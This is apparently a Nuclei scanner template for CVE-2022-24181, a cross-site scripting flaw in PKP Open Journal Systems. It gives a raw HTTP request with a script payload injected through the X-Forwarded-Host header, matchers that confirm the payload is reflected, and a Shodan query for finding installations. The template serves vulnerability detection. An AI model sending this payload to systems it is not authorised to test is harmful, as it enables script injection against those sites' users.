id: CVE-2022-24181

info:
  name: PKP Open Journal Systems 2.4.8-3.3 - Cross-Site Scripting
  author: lucasljm2001,ekrause
  severity: medium
  description: |
    PKP Open Journal Systems 2.4.8 to 3.3 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary code via the X-Forwarded-Host Header.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of PKP Open Journal Systems (OJS) or apply the necessary security patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/50881
    - https://github.com/pkp/pkp-lib/issues/7649
    - https://youtu.be/v8-9evO2oVg
    - https://nvd.nist.gov/vuln/detail/cve-2022-24181
    - https://github.com/comrade99/CVE-2022-24181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24181
    cwe-id: CWE-79
    epss-score: 0.0608
    epss-percentile: 0.92675
    cpe: cpe:2.3:a:public_knowledge_project:open_journal_systems:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: public_knowledge_project
    product: open_journal_systems
    shodan-query: cpe:"cpe:2.3:a:public_knowledge_project:open_journal_systems"
  tags: cve,cve2022,xss,oss,pkp-lib,edb,public_knowledge_project,vuln

http:
  - raw:
      - |
        GET /iupjournals/index.php/esj HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: foo"><script>alert(document.domain)</script><x=".com

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script><x=".com/iupjournals'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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